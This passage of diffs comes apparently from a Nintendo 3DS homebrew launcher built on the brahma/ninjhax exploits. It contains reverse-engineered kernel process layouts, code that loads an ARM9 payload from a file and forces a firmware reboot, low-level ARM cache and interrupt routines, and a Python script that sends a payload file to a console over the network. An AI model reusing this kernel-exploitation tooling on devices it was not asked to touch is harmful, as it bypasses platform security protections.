u32 m_kernelFlags2; // +0B0
u32 m_unknown0B4; // +0B4
KThread *m_mainThread; // +0B8
//...more...
};
static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,
"KProcess_1_0_0_Old isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// Old 3DS Version 8.0.0 - 9.5.0...
class KProcess_8_0_0_Old : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_memoryBlockCount; // +02C
KLinkedListNode *m_memoryBlockFirst; // +030
KLinkedListNode *m_memoryBlockLast; // +034
u32 m_unknown038; // +038
u32 m_unknown03C; // +03C
void *m_translationTableBase; // +040
u8 m_contextID; // +044
u32 m_unknown048; // +048
void *m_userVirtualMemoryEnd; // +04C
void *m_userLinearVirtualBase; // +050
u32 m_unknown054; // +054
u32 m_mmuTableSize; // +058
void *m_mmuTableAddress; // +05C
u32 m_threadContextPagesSize; // +060
u32 m_threadLocalPageCount; // +064
KLinkedListNode *m_threadLocalPageFirst; // +068
KLinkedListNode *m_threadLocalPageLast; // +06C
u32 m_unknown070; // +070
s32 m_idealProcessor; // +074
u32 m_unknown078; // +078
void *m_resourceLimits; // +07C
u32 m_unknown080; // +080
u32 m_threadCount; // +084
u8 m_svcAccessControl[0x80 / 8]; // +088
u32 m_interruptFlags[0x80 / 32]; // +098
u32 m_kernelFlags; // +0A8
u16 m_handleTableSize; // +0AC
u16 m_kernelReleaseVersion; // +0AE
KCodeSet *m_codeSet; // +0B0
u32 m_processID; // +0B4
u32 m_unknown0B8; // +0B8
u32 m_unknown0BC; // +0BC
KThread *m_mainThread; // +0C0
//...more...
};
static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,
"KProcess_8_0_0_Old isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Kernel's internal structure of a process object.
// New 3DS Version 8.0.0 - 9.5.0...
class KProcess_8_0_0_New : public KSynchronizationObject
{
public:
u32 m_unknown014; // +014
u32 m_unknown018; // +018
KThread *volatile m_interactingThread; // +01C
u16 m_unknown020; // +020
u16 m_unknown022; // +022
u32 m_unknown024; // +024
u32 m_unknown028; // +028
u32 m_unknown02C; // +02C new to New 3DS
u32 m_unknown030; // +030 new to New 3DS
u32 m_memoryBlockCount; // +034
KLinkedListNode *m_memoryBlockFirst; // +038
KLinkedListNode *m_memoryBlockLast; // +03C
u32 m_unknown040; // +040
u32 m_unknown044; // +044
void *m_translationTableBase; // +048
u8 m_contextID; // +04C
u32 m_unknown050; // +050
void *m_userVirtualMemoryEnd; // +054
void *m_userLinearVirtualBase; // +058
u32 m_unknown05C; // +05C
u32 m_mmuTableSize; // +060
void *m_mmuTableAddress; // +064
u32 m_threadContextPagesSize; // +068
u32 m_threadLocalPageCount; // +06C
KLinkedListNode *m_threadLocalPageFirst; // +070
KLinkedListNode *m_threadLocalPageLast; // +074
u32 m_unknown078; // +078
s32 m_idealProcessor; // +07C
u32 m_unknown080; // +080
void *m_resourceLimits; // +084
u32 m_unknown088; // +088
u32 m_threadCount; // +08C
u8 m_svcAccessControl[0x80 / 8]; // +090
u32 m_interruptFlags[0x80 / 32]; // +0A0
u32 m_kernelFlags; // +0B0
u16 m_handleTableSize; // +0B4
u16 m_kernelReleaseVersion; // +0B6
KCodeSet *m_codeSet; // +0B8
u32 m_processID; // +0BC
u32 m_unknown0C0; // +0C0
u32 m_unknown0C4; // +0C4
KThread *m_mainThread; // +0C8
//...more...
};
static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,
"KProcess_8_0_0_New isn't the expected layout.");
//------------------------------------------------------------------------------------------------
// Done using illegal offsetof
#pragma GCC diagnostic pop
}

View File

@ -1,45 +1,30 @@
#include <3ds.h> #include <3ds.h>
#include <stdio.h> #include <stdio.h>
#include <stdlib.h>
#include "brahma.h" #include "brahma.h"
#include "hid.h" #include "hid.h"
s32 main (void) { #ifndef LAUNCHER_PATH
// Initialize services #define LAUNCHER_PATH "Cakes.dat"
srvInit(); #endif
aptInit();
hidInit(NULL);
gfxInitDefault();
fsInit();
sdmcInit();
hbInit();
qtmInit();
gfxSwapBuffers();
u32 payload_size = 0x10000;
void *payload = malloc(payload_size);
FILE *fp = fopen("/reiNand.dat", "r");
if (!fp) goto exit;
fseek(fp, 0x12000, SEEK_SET);
fread(payload, payload_size, 1, fp);
fclose(fp);
int main (void) {
if (brahma_init()) { if (brahma_init()) {
load_arm9_payload_from_mem(payload, payload_size); if (load_arm9_payload_offset("/" LAUNCHER_PATH, 0x12000, 0x10000) != 1)
goto error;
firm_reboot(); firm_reboot();
brahma_exit(); brahma_exit();
} }
exit: // Return to hbmenu
if (payload) free(payload);
hbExit();
sdmcExit();
fsExit();
gfxExit();
hidExit();
aptExit();
srvExit();
return 0; return 0;
error:
gfxInitDefault();
consoleInit(GFX_BOTTOM, NULL);
printf("An error occurred while loading the payload.\nMake sure your launcher is located at:\n/" LAUNCHER_PATH);
wait_any_key();
gfxExit();
return 1;
} }

View File

@ -17,6 +17,13 @@ CleanEntireDataCache:
mcr p15, 0, r0, c7, c10, 0 mcr p15, 0, r0, c7, c10, 0
bx lr bx lr
.global dsb
.type dsb, %function
dsb:
mov r0, #0
mcr p15, 0, r0, c7, c10, 4
bx lr
.global DisableInterrupts .global DisableInterrupts
.type DisableInterrupts, %function .type DisableInterrupts, %function
DisableInterrupts: DisableInterrupts:
@ -29,9 +36,3 @@ DisableInterrupts:
EnableInterrupts: EnableInterrupts:
msr cpsr_cx, r0 msr cpsr_cx, r0
bx lr bx lr
.global svcCorruptedCreateThread
.type svcCorruptedCreateThread, %function
svcCorruptedCreateThread:
svc 0x08
bx lr

22
ninjhax/tools/client.py Normal file
View File

@ -0,0 +1,22 @@
#!/usr/bin/python
import socket
import sys
if len(sys.argv) < 3:
print "python client.py <ip> <file>\n"
sys.exit(0)
port = 80
host = sys.argv[1]
pfile = sys.argv[2]
f = open(pfile, "rb")
buf = f.read()
f.close()
s = socket.socket()
s.connect((host, port))
sent = s.send(buf)
print "Sent %d bytes\n" % sent
s.close()